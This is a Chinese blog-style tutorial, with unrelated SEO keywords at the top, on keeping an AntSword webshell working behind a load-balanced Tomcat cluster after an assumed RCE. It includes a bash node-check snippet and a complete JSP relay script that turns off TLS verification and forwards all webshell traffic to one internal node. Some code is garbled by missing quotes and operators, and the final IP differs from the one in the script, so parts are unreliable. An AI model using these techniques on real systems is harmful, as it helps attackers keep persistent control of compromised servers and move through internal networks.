小米云网站开发,如何做网站服务,云南旅游网站,优化大师卸载不了文章目录 1.场景描述2.在蚁剑里添加 Shell3.因为负载均衡而出现的问题4.问题解决方案4.1 方案14.2 方案24.3 方案3 1.场景描述
当前手里有一个以docker部署的Tomcat负载均衡环境。主机对外ip和端口为192.168.100.130:18080
我们假设其为一个真实的业务系统#xff0c;存在一… 文章目录 1.场景描述2.在蚁剑里添加 Shell3.因为负载均衡而出现的问题4.问题解决方案4.1 方案14.2 方案24.3 方案3 1.场景描述
当前手里有一个以docker部署的Tomcat负载均衡环境。主机对外ip和端口为192.168.100.130:18080
我们假设其为一个真实的业务系统存在一个rce漏洞可以让我们获取webshell 假设目标根目录下已经有了自己上传的木马文件ant.jsp
2.在蚁剑里添加 Shell
测试能够成功是因为我在两个节点均上传了木马文件但实际场合可能不止一两台一旦负载均衡开始轮循而轮循到的主机没有木马则会断开所以需要注意的一点就是需要将每一台节点的相同位置都上传同样的木马文件
3.因为负载均衡而出现的问题 问题1正如上述所说一旦负载均衡开始轮循而轮循到的主机没有木马则会断开解决方法很简单因为已经有了上传木马的漏洞故只需要需要将每一台节点的相同位置都上传同样的木马文件
问题2因为两个节点不断交替所以我们在执行命令时无法知道下次的请求交给哪台机器去执行
问题3当我们需要在服务器上上传一些工具时可能传到一半就切换到了另一台服务器毕竟是采用的分片上传方式把一个文件分成了多次HTTP请求发送给了目标最后只能两个服务器均得到一部分残缺文件
问题4由于目标机器不能出外网想进一步深入只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel可在这个场景下这些 tunnel 脚本全部都失灵了。
4.问题解决方案
4.1 方案1
关掉其中一台服务 本次实验中是关掉1台服务器但放到现实中恐怕要关掉几台几十台服务器才能完成只保留一台机器的目的虽然能达成解决问题的目的但造成的影响恐怕有点大真实环境千万别试。
4.2 方案2
写一个判断机器的脚本如果是自己想要操作的机器就执行不是就不执行
myiphostname -i | awk {print $2}
if [ $myip 127.0.0.1 ];thenecho Node1. I will execute command.\n\nhostname -i
elseecho Other. Try again.
fi
差不多是这样的模式但它只能解决命令执行问题
4.3 方案3
在web层做一次流量转发 所有流量转发到一台机器上 转发脚本命令如下
% page contentTypetext/html;charsetUTF-8 languagejava %
% page importjavax.net.ssl.* %
% page importjava.io.ByteArrayOutputStream %
% page importjava.io.DataInputStream %
% page importjava.io.InputStream %
% page importjava.io.OutputStream %
% page importjava.net.HttpURLConnection %
% page importjava.net.URL %
% page importjava.security.KeyManagementException %
% page importjava.security.NoSuchAlgorithmException %
% page importjava.security.cert.CertificateException %
% page importjava.security.cert.X509Certificate %
%!public static void ignoreSsl() throws Exception {HostnameVerifier hv new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc SSLContext.getInstance(TLS);sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%%String target http://172.20.0.2:8080/ant.jsp;URL url new URL(target);if (https.equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn (HttpURLConnection)url.openConnection();StringBuilder sb new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baosnew ByteArrayOutputStream();OutputStream out2 conn.getOutputStream();DataInputStream innew DataInputStream(request.getInputStream());byte[] buf new byte[1024];int len 0;while ((len in.read(buf)) ! -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream conn.getInputStream();OutputStream out3response.getOutputStream();int len2 0;while ((len2 inputStream.read(buf)) ! -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%不能用上传文件可能会有分片只能选择新建再保存 多保存几次保证两台服务器上均有文件 然后用转发脚本重新登录 最后结果无论访问到哪台机器均会转发至172.0.0.2